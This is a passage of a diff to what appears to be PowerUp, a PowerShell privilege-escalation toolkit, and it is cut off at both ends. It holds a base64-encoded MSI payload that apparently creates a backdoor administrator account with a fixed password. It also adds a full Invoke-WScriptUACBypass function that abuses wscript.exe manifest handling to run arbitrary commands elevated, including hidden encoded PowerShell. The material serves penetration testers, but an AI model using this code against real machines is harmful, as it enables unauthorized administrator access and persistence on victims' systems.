lciBieSB0aGUgQXBwU2VhcmNoIGFjdGlvbiBvciB3aXRoIHRoZSBkZWZhdWx0IHNldHRpbmcgb2J0YWluZWQgZnJvbSB0aGUgRGlyZWN0b3J5IHRhYmxlLkF0dHJpYnV0ZXNSZW1vdGUgZXhlY3V0aW9uIG9wdGlvbiwgb25lIG9mIGlyc0VudW1BIGNvbmRpdGlvbmFsIHN0YXRlbWVudCB0aGF0IHdpbGwgZGlzYWJsZSB0aGlzIGNvbXBvbmVudCBpZiB0aGUgc3BlY2lmaWVkIGNvbmRpdGlvbiBldmFsdWF0ZXMgdG8gdGhlICdUcnVlJyBzdGF0ZS4gSWYgYSBjb21wb25lbnQgaXMgZGlzYWJsZWQsIGl0IHdpbGwgbm90IGJlIGluc3RhbGxlZCwgcmVnYXJkbGVzcyBvZiB0aGUgJ0FjdGlvbicgc3RhdGUgYXNzb2NpYXRlZCB3aXRoIHRoZSBjb21wb25lbnQuS2V5UGF0aEZpbGU7UmVnaXN0cnk7T0RCQ0RhdGFTb3VyY2VFaXRoZXIgdGhlIHByaW1hcnkga2V5IGludG8gdGhlIEZpbGUgdGFibGUsIFJlZ2lzdHJ5IHRhYmxlLCBvciBPREJDRGF0YVNvdXJjZSB0YWJsZS4gVGhpcyBleHRyYWN0IHBhdGggaXMgc3RvcmVkIHdoZW4gdGhlIGNvbXBvbmVudCBpcyBpbnN0YWxsZWQsIGFuZCBpcyB1c2VkIHRvIGRldGVjdCB0aGUgcHJlc2VuY2Ugb2YgdGhlIGNvbXBvbmVudCBhbmQgdG8gcmV0dXJuIHRoZSBwYXRoIHRvIGl0LkN1c3RvbUFjdGlvblByaW1hcnkga2V5LCBuYW1lIG9mIGFjdGlvbiwgbm9ybWFsbHkgYXBwZWFycyBpbiBzZXF1ZW5jZSB0YWJsZSB1bmxlc3MgcHJpdmF0ZSB1c2UuVGhlIG51bWVyaWMgY3VzdG9tIGFjdGlvbiB0eXBlLCBjb25zaXN0aW5nIG9mIHNvdXJjZSBsb2NhdGlvbiwgY29kZSB0eXBlLCBlbnRyeSwgb3B0aW9uIGZsYWdzLlNvdXJjZUN1c3RvbVNvdXJjZVRoZSB0YWJsZSByZWZlcmVuY2Ugb2YgdGhlIHNvdXJjZSBvZiB0aGUgY29kZS5UYXJnZXRGb3JtYXR0ZWRFeGNlY3V0aW9uIHBhcmFtZXRlciwgZGVwZW5kcyBvbiB0aGUgdHlwZSBvZiBjdXN0b20gYWN0aW9uRXh0ZW5kZWRUeXBlQSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSB0aGF0IGV4dGVuZHMgY29kZSB0eXBlIG9yIG9wdGlvbiBmbGFncyBvZiB0aGUgVHlwZSBjb2x1bW4uVW5pcXVlIGlkZW50aWZpZXIgZm9yIGRpcmVjdG9yeSBlbnRyeSwgcHJpbWFyeSBrZXkuIElmIGEgcHJvcGVydHkgYnkgdGhpcyBuYW1lIGlzIGRlZmluZWQsIGl0IGNvbnRhaW5zIHRoZSBmdWxsIHBhdGggdG8gdGhlIGRpcmVjdG9yeS5EaXJlY3RvcnlfUGFyZW50UmVmZXJlbmNlIHRvIHRoZSBlbnRyeSBpbiB0aGlzIHRhYmxlIHNwZWNpZnlpbmcgdGhlIGRlZmF1bHQgcGFyZW50IGRpcmVjdG9yeS4gQSByZWNvcmQgcGFyZW50ZWQgdG8gaXRzZWxmIG9yIHdpdGggYSBOdWxsIHBhcmVudCByZXByZXNlbnRzIGEgcm9vdCBvZiB0aGUgaW5zdGFsbCB0cmVlLkRlZmF1bHREaXJUaGUgZGVmYXVsdCBzdWItcGF0aCB1bmRlciBwYXJlbnQncyBwYXRoLkZlYXR1cmVQcmltYXJ5IGtleSB1c2VkIHRvIGlkZW50aWZ5IGEgcGFydGljdWxhciBmZWF0dXJlIHJlY29yZC5GZWF0dXJlX1BhcmVudE9wdGlvbmFsIGtleSBvZiBhIHBhcmVudCByZWNvcmQgaW4gdGhlIHNhbWUgdGFibGUuIElmIHRoZSBwYXJlbnQgaXMgbm90IHNlbGVjdGVkLCB0aGVuIHRoZSByZWNvcmQgd2lsbCBub3QgYmUgaW5zdGFsbGVkLiBOdWxsIGluZGljYXRlcyBhIHJvb3QgaXRlbQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEB4wCoAPkAgAWuAPkAjQVeABkB4wCoAPkAmwW1APkApAVpAPkAsQVeAPkAugUZACEB4wC8APkA1AXCAPkA3gXCACkB+QUZADEB4wDJADkBLAbPADkBUgbWAAkAZAa1APkAhQbdAEkBEAXjAAkAkgbCAPkAmwYZAPkAqAYKAFEB4wAKAFkB4wDuAGEBFAdNAREA4wAKAGkB4wAKAAEBNAc4AAEBRwdWAQEBaQdbAXEB4wAKABkA4wAKAHkBoQeiAXkBvAerAUkA4wCxAZEB4wC+AS4AGwDsAS4AewBKAi4AMwDyAS4ACwDOAS4AEwDsAS4AIwDsAS4AKwDOAS4AUwAKAi4AcwBBAi4ASwDsAS4AOwDsAS4AYwA0Ai4AawDFAUkAKwLFAWMAywH0AGMAwwHpAGkAKwLFAaMAAwLpAKMAwwHpAKMAywFhAYAB4wHpAJkAuQEDAAEABQACAAAA5gEzAAAABAJUAAAAfQJZAAIACQADAAIADgAFAAIADwAHAAEAEAAHAASAAAABAAAAAAAAAAAAAAAAAC0AAAACAAAAAAAAAAAAAAABAIUAAAAAAAIAAAAAAAAAAAAAAAEAnwAAAAAAAgAAAAAAAAAAAAAAAQDTAAAAAAACAAAAAAAAAAAAAAB5ALkEAAAAAAIAAAAAAAAAAAAAAHkAawUAAAAAAAAAAAEAAAD3BwAAuAAAAAEAAAAgCAAAAAAAAAA8TW9kdWxlPgBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuZXhlAEZvcm0xAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMQBTZXR0aW5ncwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcwBQcm9ncmFtAFJlc291cmNlcwBTeXN0ZW0uV2luZG93cy5Gb3JtcwBGb3JtAFN5c3RlbQBTeXN0ZW0uQ29uZmlndXJhdGlvbgBBcHBsaWNhdGlvblNldHRpbmdzQmFzZQBtc2NvcmxpYgBPYmplY3QALmN0b3IARXZlbnRBcmdzAEZvcm0xX0xvYWQAbGFiZWwxX0NsaWNrAGxhYmVsM19DbGljawBidXR0b24xX0NsaWNrAGdyb3VwX1RleHRDaGFuZ2VkAFN5c3RlbS5Db21wb25lbnRNb2RlbABJQ29udGFpbmVyAGNvbXBvbmVudHMARGlzcG9zZQBJbml0aWFsaXplQ29tcG9uZW50AFRleHRCb3gAdXNlcm5hbWUATGFiZWwAbGFiZWwxAGxhYmVsMgBwYXNzd29yZABsYWJlbDMAZ3JvdXAAQnV0dG9uAGJ1dHRvbjEAZGVmYXVsdEluc3RhbmNlAGdldF9EZWZhdWx0AERlZmF1bHQATWFpbgBTeXN0ZW0uUmVzb3VyY2VzAFJlc291cmNlTWFuYWdlcgByZXNvdXJjZU1hbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwByZXNvdXJjZUN1bHR1cmUAZ2V0X1Jlc291cmNlTWFuYWdlcgBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQBDdWx0dXJlAHNlbmRlcgBlAGRpc3Bvc2luZwB2YWx1ZQBTeXN0ZW0uUmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEVudmlyb25tZW50AGdldF9NYWNoaW5lTmFtZQBTdHJpbmcAQ29uY2F0AFN5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcwBEaXJlY3RvcnlFbnRyeQBEaXJlY3RvcnlFbnRyaWVzAGdldF9DaGlsZHJlbgBDb250cm9sAGdldF9UZXh0AEFkZABJbnZva2UAQ29tbWl0Q2hhbmdlcwBGaW5kAGdldF9QYXRoAFRvU3RyaW5nAEFwcGxpY2F0aW9uAEV4aXQASURpc3Bvc2FibGUAU3VzcGVuZExheW91dABTeXN0ZW0uRHJhd2luZwBQb2ludABzZXRfTG9jYXRpb24Ac2V0X05hbWUAU2l6ZQBzZXRfU2l6ZQBzZXRfVGFiSW5kZXgAc2V0X1RleHQAc2V0X0F1dG9TaXplAEV2ZW50SGFuZGxlcgBhZGRfQ2xpY2sAYWRkX1RleHRDaGFuZ2VkAEJ1dHRvbkJhc2UAc2V0X1VzZVZpc3VhbFN0eWxlQmFja0NvbG9yAFNpemVGAENvbnRhaW5lckNvbnRyb2wAc2V0X0F1dG9TY2FsZURpbWVuc2lvbnMAQXV0b1NjYWxlTW9kZQBzZXRfQXV0b1NjYWxlTW9kZQBzZXRfQ2xpZW50U2l6ZQBDb250cm9sQ29sbGVjdGlvbgBnZXRfQ29udHJvbHMAYWRkX0xvYWQAUmVzdW1lTGF5b3V0AFBlcmZvcm1MYXlvdXQAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQAuY2N0b3IAU2V0dGluZ3NCYXNlAFN5bmNocm9uaXplZABTVEFUaHJlYWRBdHRyaWJ1dGUARW5hYmxlVmlzdWFsU3R5bGVzAFNldENvbXBhdGlibGVUZXh0UmVuZGVyaW5nRGVmYXVsdABSdW4ARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBzZXQuICBUaGUgZGVmYXVsdCBpcyAiQUxMIi5BY3Rpb25Qcm9wZXJ0eVRoZSBwcm9wZXJ0eSB0byBzZXQgd2hlbiBhIHByb2R1Y3QgaW4gdGhpcyBzZXQgaXMgZm91bmQuQ29zdEluaXRpYWxpemVGaWxlQ29zdENvc3RGaW5hbGl6ZUluc3RhbGxWYWxpZGF0ZUluc3RhbGxJbml0aWFsaXplSW5zdGFsbEFkbWluUGFja2FnZUluc3RhbGxGaWxlc0luc3RhbGxGaW5hbGl6ZUV4ZWN1dGVBY3Rpb25QdWJsaXNoRmVhdHVyZXNQdWJsaXNoUHJvZHVjdGJ6LldyYXBwZWRTZXR1cFByb2dyYW1iei5DdXN0b21BY3Rpb25EbGxiei5Qcm9kdWN0Q29tcG9uZW50e0VERTEwRjZDLTMwRjQtNDJDQS1CNUM3LUFEQjkwNUU0NUJGQ31CWi5JTlNUQUxMRk9MREVScmVnOUNBRTU3QUY3QjlGQjRFRjI3MDZGOTVCNEI4M0I0MTlTZXRQcm9wZXJ0eUZvckRlZmVycmVkYnouTW9kaWZ5UmVnaXN0cnlbQlouV1JBUFBFRF9BUFBJRF1iei5TdWJzdFdyYXBwZWRBcmd1bWVudHNfU3Vic3RXcmFwcGVkQXJndW1lbnRzQDRiei5SdW5XcmFwcGVkU2V0dXBbYnouU2V0dXBTaXplXSAiW1NvdXJjZURpcl1cLiIgW0JaLklOU1RBTExfU1VDQ0VTU19DT0RFU10gKltCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UU11bV1JBUFBFRF9BUkdVTUVOVFNdX01vZGlmeVJlZ2lzdHJ5QDRiei5Vbmluc3RhbGxXcmFwcGVkX1VuaW5zdGFsbFdyYXBwZWRANFByb2dyYW1GaWxlc0ZvbGRlcmJ4anZpbHc3fFtCWi5DT01QQU5ZTkFNRV1UQVJHRVRESVIuU291cmNlRGlyUHJvZHVjdEZlYXR1cmVNYWluIEZlYXR1cmVQcm9kdWN0SWNvbkZpbmRSZWxhdGVkUHJvZHVjdHNMYXVuY2hDb25kaXRpb25zVmFsaWRhdGVQcm9kdWN0SURNaWdyYXRlRmVhdHVyZVN0YXRlc1Byb2Nlc3NDb21wb25lbnRzVW5wdWJsaXNoRmVhdHVyZXNSZW1vdmVSZWdpc3RyeVZhbHVlc1dyaXRlUmVnaXN0cnlWYWx1ZXNSZWdpc3RlclVzZXJSZWdpc3RlclByb2R1Y3RSZW1vdmVFeGlzdGluZ1Byb2R1Y3RzTk9UIFJFTU9WRSB+PSJBTEwiIEFORCBOT1QgVVBHUkFERVBST0RVQ1RDT0RFUkVNT1ZFIH49ICJBTEwiIEFORCBOT1QgVVBHUkFESU5HUFJPRFVDVENPREVOT1QgV0lYX0RPV05HUkFERV9ERVRFQ1RFRERvd25ncmFkZXMgYXJlIG5vdCBhbGxvd2VkLkFMTFVTRVJTMUFSUE5PUkVQQUlSQVJQTk9NT0RJRllBUlBQUk9EVUNUSUNPTkFSUEhFTFBMSU5LaHR0cDovL3d3dy5leGVtc2kuY29tQVJQVVJMSU5GT0FCT1VUQVJQQ09NTUVOVFNNU0kgVGVtcGxhdGUuQVJQQ09OVEFDVE15IGNvbnRhY3QgaW5mb3JtYXRpb24uQVJQVVJMVVBEQVRFSU5GT015IHVwZGF0ZSBpbmZvcm1hdGlvbi5CWi5WRVJGQlouV1JBUFBFRF9BUFBJRHs1NjYyODkxMi04RUQ0LTQ4RUYtQUM1Mi1FRTgzQTFCRkJGMTF9X2lzMUJaLkNPTVBBTllOQU1FRVhFTVNJLkNPTUJaLklOU1RBTExfU1VDQ0VTU19DT0RFUzBCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UUy9TSUxFTlQgQlouVUlOT05FX0lOU1RBTExfQVJHVU1FTlRTIEJaLlVJQkFTSUNfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUZVTExfSU5TVEFMTF9BUkdVTUVOVFNCWi5GSVhFRF9VTklOU1RBTExfQVJHVU1FTlRTQlouVUlOT05FX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUJBU0lDX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfVU5JTlNUQUxMX0FSR1VNRU5UU0JaLlVJRlVMTF9VTklOU1RBTExfQVJHVU1FTlRTYnouU2V0dXBTaXplMjMyOTYwTWFudWZhY3R1cmVyUHJvZHVjdENvZGV7MjcxQkJDRUQtRjM2QS00RThFLUE1NzYtOTQ1NUYwQ0EwMUE4fVByb2R1Y3RMYW5ndWFnZTEwMzNQcm9kdWN0TmFtZU1TSSBXcmFwcGVyIFRlbXBsYXRlUHJvZHVjdFZlcnNpb24xLjAuMC4we0NDMDM1QzE4LTBGQzctNDcwOC04ODA2LUQ0QjA5MUU1OUFBN31TZWN1cmVDdXN0b21Qcm9wZXJ0aWVzV0lYX0RPV05HUkFERV9ERVRFQ1RFRDtXSVhfVVBHUkFERV9ERVRFQ1RFRFNPRlRXQVJFXFtCWi5DT01QQU5ZTkFNRV1cTVNJIFdyYXBwZXJcSW5zdGFsbGVkXFtCWi5XUkFQUEVEX0FQUElEXUxvZ29uVXNlcltMb2dv' try { [System.Convert]::FromBase64String( $Binary ) | Set-Content -Path $Path -Encoding Byte @@ -3743,60 +4399,303 @@ function Write-UserAddMSI { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'OutputPath' $Path + $Out.PSObject.TypeNames.Insert(0, 'PowerUp.UserAddMSI') $Out } catch { Write-Warning "Error while writing to location '$Path': $_" - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'OutputPath' $_ - $Out } } -function Invoke-AllChecks { +function Invoke-WScriptUACBypass { <# +.SYNOPSIS + +Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. + +Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute +VBScript using the wscript executable with the new manifest. The VBScript executed by +C:\Windows\wscript.exe will run elevated. + +.PARAMETER Command + +The shell command you want wscript.exe to run elevated. + +.PARAMETER WindowStyle + +Whether to display or hide the window for the executed '-Command X'. +Accepted values are 'Hidden' and 'Normal'/'Visible. Default is 'Hidden'. + +.EXAMPLE + +Invoke-WScriptUACBypass -Command "powershell.exe -ep Bypass -WindowStyle Hidden -enc " + +Launches the specified PowerShell encoded command in high-integrity. + +.EXAMPLE + +Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible' + +Spawns a high integrity cmd.exe. + +.LINK + +http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html +https://github.com/Vozzie/uacscript +https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1 +#> + + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('CMD')] + [String] + [ValidateNotNullOrEmpty()] + $Command, + + [String] + [ValidateSet('Hidden', 'Normal', 'Visible')] + $WindowStyle = 'Hidden' + ) + + function Local:Get-TempFileName { + # generate temporary file Name + $sTempFolder = $env:Temp + $sTempFolder = $sTempFolder + '\' + $sTempFileName = [System.IO.Path]::GetRandomFileName() + '.tmp' + $sTempFileName = $sTempFileName -Split '\.',([regex]::matches($sTempFileName, '\.').count) -join '' + $sTempFileNameFinal = $sTempFolder + $sTempFileName + return $sTempFileNameFinal + } + + function Local:Invoke-CopyFile { + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + Param( + [String] + $sSource, + + [String] + $sTarget + ) + + # cab wscript, send to temp and then extract it from temp to $env:WINDIR + $sTempFile = Get-TempFileName + Start-Process -WindowStyle Hidden -FilePath "$($env:WINDIR)\System32\makecab.exe" -ArgumentList "$sSource $sTempFile" + $Null = wusa "$sTempFile" /extract:"$sTarget" /quiet + + Start-Sleep -Seconds 2 + Remove-Item -Path $sTempFile -Force + } + + function Local:Invoke-WscriptTrigger { + $VBSfileName = [System.IO.Path]::GetRandomFileName() + '.vbs' + $ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,"\.").count) -join '' + + $VBSPayload = "Dim objShell:" + $VBSPayload += "Dim oFso:" + $VBSPayload += "Set oFso = CreateObject(""Scripting.FileSystemObject""):" + $VBSPayload += "Set objShell = WScript.CreateObject(""WScript.Shell""):" + $VBSPayload += "command = ""$Command"":" + + if ($WindowStyle -eq 'Hidden') { + $VBSPayload += "objShell.Run command, 0:" + } + else { + $VBSPayload += "objShell.Run command, 1:" + } + + # stupid command to kick off a background cmd process to delete the wscript and manifest + $DelCommand = 